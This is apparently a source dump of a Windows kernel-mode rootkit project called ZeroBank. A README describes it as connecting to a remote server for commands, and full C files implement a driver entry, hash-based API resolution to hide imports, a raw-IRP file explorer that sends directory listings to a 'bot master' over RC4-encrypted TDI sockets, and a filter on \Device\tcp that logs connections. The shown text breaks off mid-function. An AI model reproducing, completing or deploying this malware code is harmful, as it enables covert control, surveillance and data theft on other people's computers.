├── README.md
├── ZeroBank!kit
├── ZeroBank.c
├── common.h
├── file.c
├── file.h
├── filter.c
├── filter.h
├── filtersendrequests.c
├── filtersendrequests.h
├── hash.c
├── hash.h
├── header.c
├── header.h
├── info.c
├── info.h
├── md5.c
├── md5.h
├── mem.c
├── mem.h
├── modules.c
├── modules.h
├── net.c
├── net.h
├── non_exported_procedures.c
├── non_exported_procedures.h
├── offsets.c
├── offsets.h
├── ps.c
├── ps.h
├── rc4.c
├── rc4.h
├── rwqueryfilevol.c
├── rwqueryfilevol.h
├── thread.c
├── thread.h
├── transfer.c
├── transfer.h
├── utils.c
└── utils.h
└── ZeroBank!server
├── ZeroBank.c
├── server_cmd.c
├── server_cmd.h
├── server_connections.c
├── server_connections.h
├── server_disconnect.c
├── server_disconnect.h
├── server_file.c
├── server_file.h
├── server_globals.h
├── server_info.c
├── server_info.h
├── server_md5.c
├── server_md5.h
├── server_modules.c
├── server_modules.h
├── server_ntapi.h
├── server_process.c
├── server_process.h
├── server_rc4.c
├── server_rc4.h
├── server_sendrequests.c
├── server_sendrequests.h
├── server_tdifilter.c
├── server_tdifilter.h
├── server_thread.c
├── server_thread.h
├── server_transfer.c
└── server_transfer.h
/README.md:
--------------------------------------------------------------------------------
1 | # ZeroBank-ring0-bundle
2 | Kernel-Mode rootkit that connects to a remote server to send & recv commands using the TDI (Transport Driver Interface) network layer
3 |
4 | Proyect compiled using VS 2013 and WDK 8.1
5 | To use change ip address in both driver & server
6 | Win 7 x86 only supported for the moment
7 | Use under Virtualization
8 |
9 | # Currently Working Features
10 |
11 | Function Hashing (API functions resolved at runtime using hashing)
12 | Process Explorer
13 | Thread Explorer
14 | File Explorer
15 | File Transfer (Kernel to server)
16 | TDI connections filter
17 | TDI send filter
18 | Encrypted communications (RC4)
19 | More information about project parts and overview can be found here
20 |
21 | http://alexvogtkernel.blogspot.com/
22 |
--------------------------------------------------------------------------------
/ZeroBank!kit/ZeroBank.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*///////////////////////////////////////////////////////////
4 | //
5 | // File: ZeroBank.c
6 | //
7 | // Main entry point of the ZeroBank rootkit
8 | //
9 | // - Initialization of synchronization objects
10 | // - Thread Creation for the different routines
11 | // that will give sense for the rootkit activity
12 | //
13 | // - Rootkit Final version wont have an Unload Routine
14 | // for remote host safeness, since unloading this type
15 | // of drivers can cause many problems, driver will always
16 | // stay active in memory until system shutdowns or reboots
17 | // What the bot master can do is terminate the communication
18 | // thread, which will terminate the command exchange with
19 | // server, but even doing that the rootkit will be still active
20 | //
21 | */////////////////////////////////////////////////////////////
22 |
23 | KSPIN_LOCK g_globalspinlock = { 0 };
24 | KIRQL Irql = { 0 };
25 | PDRIVER_OBJECT g_pDriverObject = NULL;
26 | ROOTKIT_API_HASH g_Hash = { 0 };
27 | ZEROBANK_COMMUNICATION_CTX Ctx = { 0 };
28 | ERESOURCE g_globalresource = { 0 };
29 | char g_idpath[255] = { 0 };
30 |
31 | VOID Unload(PDRIVER_OBJECT pDriverObject)
32 | {
33 | DbgPrint("\n__ZeroBank__rootkit__unloaded");
34 |
35 | ExDeleteResourceLite(&g_globalresource);
36 | }
37 |
38 | NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegisterPath)
39 | {
40 | DbgPrint("\n__ZeroBank__rootkit__loaded");
41 |
42 | NTSTATUS st;
43 | HANDLE info_handle;
44 | HANDLE flt;
45 | HANDLE proc_handle;
46 | PZEROBANK_COMMUNICATION_CTX ctx = NULL;
47 |
48 | g_pDriverObject = pDriverObject;
49 |
50 | // Load funtion hashing system
51 |
52 | KiLoadFunctions(&g_Hash);
53 |
54 | // initialize globals
55 |
56 | KzInitializeSpinLock(&g_globalspinlock);
57 | ExInitializeResourceLite(&g_globalresource);
58 |
59 | // Initialize rootkit worker threads, dynamic data and non exported procedures
60 |
61 | KiInitializeKernelModeThread(&info_handle, &g_Hash, rootkit_dynamic_data_thread, (PROOTKIT_API_HASH)&g_Hash);
62 | KiInitializeKernelModeThread(&proc_handle, &g_Hash, KiLoadNonExportedRoutines, (PROOTKIT_API_HASH)&g_Hash);
63 |
64 |
65 | // alloc memory for communication context thread
66 | // and pass parameters needed for further operations
67 |
68 | ctx = (PZEROBANK_COMMUNICATION_CTX)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_COMMUNICATION_CTX));
69 | memset(ctx, 0, sizeof(ZEROBANK_COMMUNICATION_CTX));
70 | ctx->g_Hash = &g_Hash;
71 | ctx->pDriverObjectCtx = pDriverObject;
72 |
73 | // start thread
74 |
75 | st = zerobank_init_communication_thread(ctx);
76 |
77 |
78 | pDriverObject->DriverUnload = Unload;
79 |
80 |
81 | return STATUS_SUCCESS;
82 |
83 |
84 | }
85 |
86 |
--------------------------------------------------------------------------------
/ZeroBank!kit/common.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include "hash.h"
14 | #include "file.h"
15 | #include "ps.h"
16 | #include "thread.h"
17 | #include "ps.h"
18 | #include "mem.h"
19 | #include "net.h"
20 | #include "offsets.h"
21 | #include "modules.h"
22 | #include "rwqueryfilevol.h"
23 | #include "info.h"
24 | #include "transfer.h"
25 | #include "non_exported_procedures.h"
26 | #include "md5.h"
27 | #include "rc4.h"
28 | #include "utils.h"
29 | #include "header.h"
30 | #include "filter.h"
31 |
32 |
33 | extern KSPIN_LOCK g_globalspinlock;
34 | extern KIRQL Irql;
35 | extern PDRIVER_OBJECT g_pDriverObject;
36 | extern ERESOURCE g_globalresource;
37 | extern char g_idpath[255];
38 |
39 |
--------------------------------------------------------------------------------
/ZeroBank!kit/file.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 |
4 | /*
5 | File: file.c
6 |
7 | Implementation of a file explorer
8 | calling the underlying driver directly
9 | instead of calling ZwQueryDirectoryFile
10 |
11 | returns
12 | File Last Write Time
13 | File Creation Time
14 | Filename
15 |
16 | */
17 |
18 | NTSTATUS QueryCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
19 | {
20 | PIO_STATUS_BLOCK ioStatus;
21 |
22 | ioStatus = Irp->UserIosb;
23 | ioStatus->Status = Irp->IoStatus.Status;
24 | ioStatus->Information = Irp->IoStatus.Information;
25 |
26 | g_Hash._KeSetEvent(Irp->UserEvent, 0, FALSE);
27 | g_Hash._IoFreeIrp(Irp);
28 |
29 | return STATUS_MORE_PROCESSING_REQUIRED;
30 | }
31 |
32 | PROOTKIT_FILEEXPLORER_LIST_HEAD kernel_get_number_files(IN PCHAR FileName, IN PROOTKIT_API_HASH Hash)
33 | {
34 | NTSTATUS st;
35 | PIRP Irp;
36 | KEVENT Event;
37 | PFILE_BOTH_DIR_INFORMATION bothdirinformation = NULL;
38 | PVOID Buffer = NULL;
39 | IO_STATUS_BLOCK io = { 0 };
40 | HANDLE handle;
41 | PIO_STACK_LOCATION pio;
42 | OBJECT_ATTRIBUTES oa = { 0 };
43 | UNICODE_STRING ustr0 = { 0 };
44 | ANSI_STRING ansi = { 0 };
45 | PFILE_OBJECT FileObject = NULL;
46 | PDEVICE_OBJECT DeviceObject = NULL;
47 | PROOTKIT_FILEEXPLORER_ENTRY EntryBuffer = NULL;
48 | TIME_FIELDS timer = { 0 };
49 | TIME_FIELDS wtime = { 0 };
50 | SIZE_T ByteChecker = 0;
51 | EX_RUNDOWN_REF protect;
52 |
53 |
54 | g_fileexplorer_head = (PROOTKIT_FILEEXPLORER_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_FILEEXPLORER_LIST_HEAD));
55 | if (g_fileexplorer_head == NULL)
56 | KdPrint(("\r\nError allocating list-head"));
57 |
58 |
59 | InitializeListHead(&g_fileexplorer_head->Entry);
60 | g_fileexplorer_head->NumberOfElements = 0;
61 |
62 | Hash->_RtlInitAnsiString(&ansi, FileName);
63 | Hash->_RtlAnsiStringToUnicodeString(&ustr0, &ansi, TRUE);
64 | InitializeObjectAttributes(&oa, &ustr0, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
65 |
66 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7
67 | st = MyIopCreateFile(&handle, \
68 | FILE_LIST_DIRECTORY |
69 | SYNCHRONIZE |
70 | FILE_ANY_ACCESS, \
71 | &oa, \
72 | &io, \
73 | 0, \
74 | FILE_ATTRIBUTE_NORMAL, \
75 | FILE_SHARE_DELETE |
76 | FILE_SHARE_WRITE |
77 | FILE_SHARE_READ, \
78 | FILE_OPEN, \
79 | FILE_DIRECTORY_FILE |
80 | FILE_SYNCHRONOUS_IO_ALERT, \
81 | NULL, \
82 | 0, \
83 | CreateFileTypeNone, \
84 | NULL, \
85 | IO_NO_PARAMETER_CHECKING, \
86 | 0, \
87 | NULL);
88 |
89 | #else
90 |
91 | st = IoCreateFileEx(&handle, FILE_READ_ATTRIBUTES, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN,
92 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL);
93 |
94 | #endif
95 |
96 | if (!NT_SUCCESS(st))
97 |
98 | #ifndef _WIN64
99 | ObpCloseHandle(handle, KernelMode);
100 | #else
101 | ZwClose(handle);
102 | #endif
103 |
104 | st = Hash->_ObReferenceObjectByHandle(handle, FILE_LIST_DIRECTORY | SYNCHRONIZE, *g_Hash._IoFileObjectType,
105 | KernelMode, (PVOID*)&FileObject, NULL);
106 | if (!NT_SUCCESS(st))
107 | Hash->_ObfDereferenceObject(FileObject);
108 |
109 | DeviceObject =Hash->_IoGetRelatedDeviceObject(FileObject);
110 | if (DeviceObject == NULL)
111 | KdPrint(("\r\nError IoGetRelatedDeviceObject"));
112 |
113 |
114 | Irp =Hash->_IoAllocateIrp(DeviceObject->StackSize, FALSE);
115 | if (Irp == NULL)
116 | return STATUS_INSUFFICIENT_RESOURCES;
117 |
118 |
119 | Hash->_KeInitializeEvent(&Event, NotificationEvent, FALSE);
120 | Buffer = Hash->_ExAllocatePool(NonPagedPool, 65530);
121 |
122 | Irp->UserEvent = &Event;
123 | Irp->UserBuffer = Buffer;
124 | Irp->AssociatedIrp.SystemBuffer = Buffer;
125 | Irp->MdlAddress = NULL;
126 | Irp->Flags = 0;
127 | Irp->UserIosb = &io;
128 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
129 | Irp->Tail.Overlay.Thread = (PKTHREAD)Hash->_KeGetCurrentThread();
130 | Irp->RequestorMode = KernelMode;
131 |
132 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
133 | pio->MajorFunction = IRP_MJ_DIRECTORY_CONTROL;
134 | pio->MinorFunction = IRP_MN_QUERY_DIRECTORY;
135 | pio->FileObject = FileObject;
136 | pio->DeviceObject = DeviceObject;
137 | pio->Flags = SL_RESTART_SCAN;
138 | pio->Control = 0;
139 | pio->Parameters.QueryDirectory.FileIndex = 0;
140 | pio->Parameters.QueryDirectory.FileInformationClass = FileBothDirectoryInformation;
141 | pio->Parameters.QueryDirectory.FileName = NULL;
142 | pio->Parameters.QueryDirectory.Length = 65530;
143 |
144 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
145 |
146 | st = Hash->_IofCallDriver(DeviceObject, Irp);
147 | if (st == STATUS_PENDING)
148 | Hash->_KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL);
149 |
150 |
151 | bothdirinformation = (PFILE_BOTH_DIR_INFORMATION)Buffer;
152 | if (!bothdirinformation || !Hash->_MmIsAddressValid(bothdirinformation))
153 | {
154 | KdPrint(("\r\nError copying memory to structure"));
155 | return STATUS_UNSUCCESSFUL;
156 | }
157 |
158 | for (;;)
159 | {
160 |
161 | if ((bothdirinformation->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
162 | (bothdirinformation->FileName)[0] == L'.') goto exit;
163 |
164 | EntryBuffer = (PROOTKIT_FILEEXPLORER_ENTRY)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_FILEEXPLORER_ENTRY));
165 | memset(EntryBuffer, 0, sizeof(ROOTKIT_FILEEXPLORER_ENTRY));
166 |
167 | kimemcpy(EntryBuffer->FileName, bothdirinformation->FileName, bothdirinformation->FileNameLength);
168 |
169 |
170 | Hash->_RtlTimeToTimeFields(&bothdirinformation->CreationTime, &timer);
171 | Hash->_sprintf_s(EntryBuffer->CreateTime, 255, "%02u/%02u/%03u %02u:%02u:%02u", timer.Day, \
172 | timer.Month, \
173 | timer.Year, \
174 | timer.Hour, \
175 | timer.Minute, \
176 | timer.Second);
177 | Hash->_RtlTimeToTimeFields(&bothdirinformation->LastWriteTime, &wtime);
178 | Hash->_sprintf_s(EntryBuffer->WriteTime, 255, "%02u/%02u/%03u %02u:%02u:%02u", wtime.Day, \
179 | wtime.Month, \
180 | wtime.Year, \
181 | wtime.Hour, \
182 | wtime.Minute, \
183 | wtime.Second);
184 |
185 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
186 | InsertTailList(&g_fileexplorer_head->Entry, &EntryBuffer->Entry);
187 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
188 |
189 | g_fileexplorer_head->NumberOfElements++;
190 |
191 |
192 | exit:
193 | if (bothdirinformation->NextEntryOffset == 0) break;
194 | bothdirinformation = \
195 | (PFILE_BOTH_DIR_INFORMATION)((ULONG)bothdirinformation + \
196 | bothdirinformation->NextEntryOffset);
197 |
198 | }
199 |
200 | Hash->_ExFreePoolWithTag(Buffer,0);
201 |
202 | #ifndef _WIN64
203 | ObpCloseHandle(handle, KernelMode);
204 | #else
205 | ZwClose(handle);
206 | #endif
207 |
208 | Hash->_ObfDereferenceObject(FileObject);
209 | Hash->_RtlFreeUnicodeString(&ustr0);
210 |
211 | return g_fileexplorer_head;
212 | }
213 |
214 | ULONG rk_copy_fileexplorer_list_to_buffer(IN PROOTKIT_FILEEXPLORER_ENTRY Buffer, IN PROOTKIT_API_HASH Hash)
215 | {
216 | ULONG returnedlength = 0;
217 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL;
218 | SIZE_T ByteChecker = 0;
219 |
220 | if (g_fileexplorer_head == NULL)
221 | return 0;
222 |
223 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
224 |
225 | while (!IsListEmpty(&g_fileexplorer_head->Entry))
226 | {
227 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)RemoveTailList(&g_fileexplorer_head->Entry);
228 | kimemcpy(Buffer, Entry, sizeof(ROOTKIT_FILEEXPLORER_ENTRY));
229 | Hash->_ExFreePoolWithTag(Entry, 0);
230 | Buffer++;
231 | returnedlength++;
232 | }
233 |
234 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
235 |
236 | Hash->_ExFreePoolWithTag(g_fileexplorer_head,0);
237 | g_fileexplorer_head = NULL;
238 |
239 | return returnedlength*sizeof(ROOTKIT_FILEEXPLORER_ENTRY);
240 | }
241 |
242 | BOOLEAN rk_send_fileexplorer_to_userspace(IN PFILE_OBJECT socket, IN PCHAR FileName, IN PROOTKIT_API_HASH Hash)
243 | {
244 | ULONG bytes = 0;
245 | INT sendsize = 0;
246 | PROOTKIT_FILEEXPLORER_LIST_HEAD listhead = NULL;
247 | PROOTKIT_FILEEXPLORER_ENTRY Entry = NULL;
248 | PVOID Buffer = NULL;
249 | ULONG returnedbytes = 0;
250 | NTSTATUS st;
251 | PMDL Mdl = NULL;
252 | BOOLEAN g_cond = FALSE;
253 |
254 | listhead = kernel_get_number_files(FileName, Hash);
255 | bytes = listhead->NumberOfElements*sizeof(ROOTKIT_FILEEXPLORER_ENTRY);
256 |
257 | do
258 | {
259 | sendsize = send(socket, (char*)&bytes, sizeof(ULONG));
260 | if (sendsize > 0)
261 | {
262 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash);
263 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash) == TRUE)
264 | {
265 | Entry = (PROOTKIT_FILEEXPLORER_ENTRY)Buffer;
266 | if (Entry && Hash->_MmIsAddressValid(Entry))
267 | {
268 | returnedbytes = rk_copy_fileexplorer_list_to_buffer(Entry, Hash);
269 | if (returnedbytes > 0)
270 | {
271 | sendsize = tdi_send_crypted(socket, RC4_KEY_2, (PROOTKIT_FILEEXPLORER_ENTRY)Entry, returnedbytes, 0);
272 | if (sendsize > 0)
273 | {
274 | g_cond = TRUE;
275 | goto clean;
276 | }
277 | }
278 | }
279 | }
280 | }
281 |
282 | } while (FALSE);
283 |
284 | clean:
285 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash);
286 | Buffer = NULL;
287 |
288 | return g_cond;
289 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/file.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_FILEEXPLORER_ENTRY {
4 | #ifndef _WIN64
5 | LIST_ENTRY Entry;
6 | #else
7 | LIST_ENTRY64 Entry;
8 | #endif
9 | CHAR FileName[255];
10 | CHAR CreateTime[255];
11 | CHAR WriteTime[255];
12 | }ROOTKIT_FILEEXPLORER_ENTRY, *PROOTKIT_FILEEXPLORER_ENTRY;
13 |
14 | typedef struct _ROOTKIT_FILEEXPLORER_LIST_HEAD {
15 | #ifndef _WIN64
16 | LIST_ENTRY Entry;
17 | #else
18 | LIST_ENTRY64 Entry;
19 | #endif
20 | ULONG NumberOfElements;
21 | }ROOTKIT_FILEEXPLORER_LIST_HEAD, *PROOTKIT_FILEEXPLORER_LIST_HEAD;
22 |
23 | NTSTATUS QueryCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context);
24 | PROOTKIT_FILEEXPLORER_LIST_HEAD g_fileexplorer_head;
25 | PROOTKIT_FILEEXPLORER_LIST_HEAD kernel_get_number_files(IN PCHAR FileName, IN PROOTKIT_API_HASH Hash);
26 | ULONG rk_copy_fileexplorer_list_to_buffer(IN PROOTKIT_FILEEXPLORER_ENTRY Buffer, IN PROOTKIT_API_HASH Hash);
27 | BOOLEAN rk_send_fileexplorer_to_userspace(IN PFILE_OBJECT socket, IN PCHAR FileName, IN PROOTKIT_API_HASH Hash);
28 |
29 |
--------------------------------------------------------------------------------
/ZeroBank!kit/filter.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | PIO_STACK_LOCATION g_pStackLocation = NULL;
4 | PZEROBANK_FILTER_HEAD g_filter_head = NULL;
5 |
6 | PZEROBANK_FILTER_HEAD rk_get_number_of_bot_connections() {
7 | PTDI_REQUEST_KERNEL_CONNECT pconnect = NULL;
8 | PTA_ADDRESS paddress = NULL;
9 | PTDI_ADDRESS_IP paddressip = NULL;
10 | ROOTKIT_NETWORK_ADDRESS data = { 0 };
11 | char buffer[255] = { 0 };
12 | LARGE_INTEGER systime;
13 | LARGE_INTEGER lctime;
14 | TIME_FIELDS timer;
15 | PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsBuffer = NULL;
16 |
17 | pconnect = (PTDI_REQUEST_KERNEL_CONNECT)(&g_pStackLocation->Parameters);
18 | if (pconnect) {
19 | paddress = ((PTRANSPORT_ADDRESS)(pconnect->RequestConnectionInformation->RemoteAddress))->Address;
20 | if (paddress) {
21 | paddressip = (PTDI_ADDRESS_IP)(paddress->Address);
22 | if (paddressip) {
23 |
24 | unsigned int Address = paddressip->in_addr;
25 | unsigned int Port = paddressip->sin_port;
26 |
27 | ROOTKIT_NETWORK_ADDRESS data = { 0 };
28 | data.ip[0] = ((char*)&Address)[0];
29 | data.ip[1] = ((char*)&Address)[1];
30 | data.ip[2] = ((char*)&Address)[2];
31 | data.ip[3] = ((char*)&Address)[3];
32 |
33 |
34 | data.Port[0] = ((char*)&Port)[1];
35 | data.Port[1] = ((char*)&Port)[0];
36 | Port = data.Port[1] * 0x100 + data.Port[0];
37 |
38 | KeQuerySystemTime(&systime);
39 | ExSystemTimeToLocalTime(&systime, &lctime);
40 | RtlTimeToTimeFields(&lctime, &timer);
41 |
42 | g_Hash._sprintf_s(buffer, 255, "\r\n%02u-%02u-%04u %02u:%02u:%02u [%d.%d.%d.%d:%d]",
43 | timer.Day,
44 | timer.Month,
45 | timer.Year,
46 | timer.Hour,
47 | timer.Minute,
48 | timer.Second,
49 | (unsigned int)data.ip[0],
50 | (unsigned int)data.ip[1],
51 | (unsigned int)data.ip[2],
52 | (unsigned int)data.ip[3],
53 | (unsigned int)Port);
54 |
55 | DbgPrint(buffer);
56 |
57 | pConnectionsBuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS));
58 | memset(pConnectionsBuffer, 0, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS));
59 |
60 | memcpy(pConnectionsBuffer->ShareData, buffer, 255);
61 |
62 | // lock the list and raise IRQL -> DISPATCH_LEVEL
63 |
64 | KeAcquireSpinLock(&g_globalspinlock, &Irql);
65 |
66 | // store the information
67 |
68 | InsertTailList(&g_filter_head->Entry, &pConnectionsBuffer->Entry);
69 |
70 | // release the lock
71 |
72 | KeReleaseSpinLock(&g_globalspinlock, Irql);
73 |
74 | // increment the connections
75 |
76 | g_filter_head->NumberOfConnections++;
77 |
78 | }
79 | }
80 | }
81 |
82 | return g_filter_head->NumberOfConnections;
83 | }
84 |
85 | ULONG g_rk_copy_connections_to_buffer(IN PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsRequest) {
86 |
87 | PZEROBANK_FILTER_CONNECTION_REQUESTS pBuffer = NULL;
88 | ULONG neededsize = 0;
89 |
90 | if (g_filter_head == NULL)
91 | return 1;
92 |
93 | // lock the list
94 |
95 | KeAcquireSpinLock(&g_globalspinlock, &Irql);
96 |
97 | // extract data from list and copy it in allocated buffer
98 |
99 | while (!IsListEmpty(&g_filter_head->Entry)) {
100 |
101 | pBuffer = (PZEROBANK_FILTER_CONNECTION_REQUESTS)RemoveTailList(&g_filter_head->Entry);
102 | kimemcpy(pConnectionsRequest, pBuffer, sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS));
103 | ExFreePool(pBuffer);
104 | pConnectionsRequest++;
105 | neededsize++;
106 | }
107 |
108 | // release the lock
109 |
110 | KeReleaseSpinLock(&g_globalspinlock, Irql);
111 |
112 | ExFreePool(g_filter_head);
113 | g_filter_head = NULL;
114 |
115 | return neededsize*sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS);
116 |
117 | }
118 |
119 | BOOLEAN g_rk_send_connections_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash) {
120 |
121 | PMDL Mdl = NULL;
122 | PZEROBANK_FILTER_CONNECTION_REQUESTS pConnnections = NULL;
123 | ULONG bytes = 0;
124 | INT sendsize = 0;
125 | PVOID Buffer = NULL;
126 | ULONG returnedbytes = 0;
127 | BOOLEAN g_cond = FALSE;
128 |
129 | // get how many bytes we are going to need for allocation
130 |
131 | bytes = g_filter_head->NumberOfConnections*sizeof(ZEROBANK_FILTER_CONNECTION_REQUESTS);
132 |
133 | do
134 | {
135 | // send needed-size to user-space
136 |
137 | sendsize = send(pSocket, (PCHAR)&bytes, sizeof(ULONG));
138 | if (sendsize > 0)
139 | {
140 | // allocate virtual memory
141 |
142 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash);
143 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE)
144 | {
145 | pConnnections = (PZEROBANK_FILTER_CONNECTION_REQUESTS)Buffer;
146 | if (pConnnections && Hash->_MmIsAddressValid(pConnnections))
147 | {
148 | returnedbytes = g_rk_copy_connections_to_buffer(pConnnections);
149 | if (returnedbytes > 0)
150 | {
151 | // send encrypted data to user-space
152 |
153 | sendsize = tdi_send_crypted(pSocket, RC4_KEY_2, (PZEROBANK_FILTER_CONNECTION_REQUESTS)pConnnections, returnedbytes,0);
154 | if (sendsize > 0)
155 | {
156 | g_cond = TRUE;
157 | goto clean;
158 | }
159 | }
160 | }
161 | }
162 | }
163 |
164 |
165 | } while (FALSE);
166 |
167 | // free previously allocated virtual memory
168 |
169 | clean:
170 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash);
171 | Buffer = NULL;
172 |
173 | return g_cond;
174 | }
175 |
176 | NTSTATUS g_rk_connect_dispatcher(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp) {
177 |
178 | NTSTATUS st = STATUS_NOT_SUPPORTED;
179 | g_pStackLocation = pIrp->Tail.Overlay.CurrentStackLocation; // get the current Irp Stack Location
180 |
181 | __try {
182 |
183 | // since we are only interested in IRP_MJ_INTERNAL_DEVICE_CONTROL we just gather
184 | // the MinorFunction data
185 |
186 | switch (g_pStackLocation->MinorFunction) {
187 | case TDI_CONNECT: // connection requests
188 | rk_get_number_of_bot_connections();
189 | break;
190 | case TDI_QUERY_INFORMATION: // query information requests
191 | break;
192 | case TDI_SEND: // sending requests
193 | break;
194 | case TDI_RECEIVE: // receiving requests
195 | break;
196 | default:
197 | break;
198 | }
199 |
200 |
201 | }
202 | __except (EXCEPTION_EXECUTE_HANDLER) {
203 |
204 | return GetExceptionCode();
205 | KdPrint(("\r\nException Caught in TDI_DISPATCHER_ROUTINE"));
206 | }
207 |
208 | // Call the underlying driver, Note that we use DeviceExtension field which should be
209 | // filled with data just after creating the device in g_rk_connect_start_filter function
210 |
211 | IoSkipCurrentIrpStackLocation(pIrp);
212 | st = g_Hash._IofCallDriver((PDEVICE_OBJECT)pDeviceObject->DeviceExtension, pIrp);
213 |
214 | return st;
215 | }
216 |
217 | NTSTATUS g_rk_connect_start_filter(IN PZEROBANK_TDI_FILTER tdi) {
218 |
219 | PDEVICE_OBJECT pDeviceObject = NULL;
220 | UNICODE_STRING device = { 0 };
221 | NTSTATUS st;
222 | UINT16 i = 0;
223 |
224 | st = tdi->Hash->_IoCreateDevice(tdi->pDriverObject, sizeof(PDEVICE_OBJECT), NULL,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,(PDEVICE_OBJECT*)&pDeviceObject);
225 | if (NT_SUCCESS(st)) {
226 | for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
227 | tdi->pDriverObject->MajorFunction[i] = g_rk_connect_dispatcher;
228 | }
229 | tdi->Hash->_RtlInitUnicodeString(&device, L"\\Device\\tcp");
230 | st = tdi->Hash->_IoAttachDevice(pDeviceObject, &device, (PDEVICE_OBJECT*)&pDeviceObject->DeviceExtension);
231 | if (NT_SUCCESS(st)) {
232 |
233 | PDEVICE_OBJECT fltdriverobj = (PDEVICE_OBJECT)pDeviceObject->DeviceExtension;
234 | if (fltdriverobj) {
235 | pDeviceObject->Flags |= fltdriverobj->Flags &(DO_BUFFERED_IO | DO_DIRECT_IO);
236 | pDeviceObject->DeviceType = fltdriverobj->DeviceType;
237 | pDeviceObject->Characteristics = fltdriverobj->Characteristics;
238 | pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
239 | }
240 | }
241 | }
242 |
243 | return st;
244 | }
245 |
--------------------------------------------------------------------------------
/ZeroBank!kit/filter.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_NETWORK_ADDRESS
4 | {
5 | UCHAR ip[4];
6 | UCHAR Port[2];
7 |
8 | }ROOTKIT_NETWORK_ADDRESS, *PROOTKIT_NETWORK_ADDRESS;
9 |
10 | typedef struct _ZEROBANK_FILTER_CONNECTION_REQUESTS
11 | {
12 | LIST_ENTRY Entry;
13 | CHAR ShareData[255];
14 | }ZEROBANK_FILTER_CONNECTION_REQUESTS, *PZEROBANK_FILTER_CONNECTION_REQUESTS;
15 |
16 | typedef struct _ZEROBANK_FILTER_HEAD
17 | {
18 | LIST_ENTRY Entry;
19 | ULONG NumberOfConnections;
20 | }ZEROBANK_FILTER_HEAD, *PZEROBANK_FILTER_HEAD;
21 |
22 |
23 | extern PZEROBANK_FILTER_HEAD g_filter_head;
24 | PZEROBANK_FILTER_HEAD rk_get_number_of_bot_connections(IN PIO_STACK_LOCATION pStackLocation);
25 | ULONG g_rk_copy_connections_to_buffer(IN PZEROBANK_FILTER_CONNECTION_REQUESTS pConnectionsRequest);
26 |
27 |
28 | NTSTATUS g_rk_connect_start_filter(IN PZEROBANK_TDI_FILTER tdi);
29 | BOOLEAN g_rk_send_connections_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash);
30 | NTSTATUS g_rk_connect_dispatcher(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
31 |
--------------------------------------------------------------------------------
/ZeroBank!kit/filtersendrequests.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | PZEROBANK_SEND_HEAD g_send_head = NULL;
4 |
5 | PZEROBANK_SEND_HEAD g_rk_get_total_send_request() {
6 |
7 | PZEROBANK_FILTER_SEND_REQUESTS pSendRequests = NULL;
8 | PCHAR Buffer = NULL;
9 | ULONG size = 0;
10 | PCHAR Alloc = NULL;
11 |
12 | Buffer = (CHAR*)MmGetSystemAddressForMdlSafe(g_pIrp->MdlAddress,NormalPagePriority);
13 | if (Buffer != NULL) {
14 | __try {
15 |
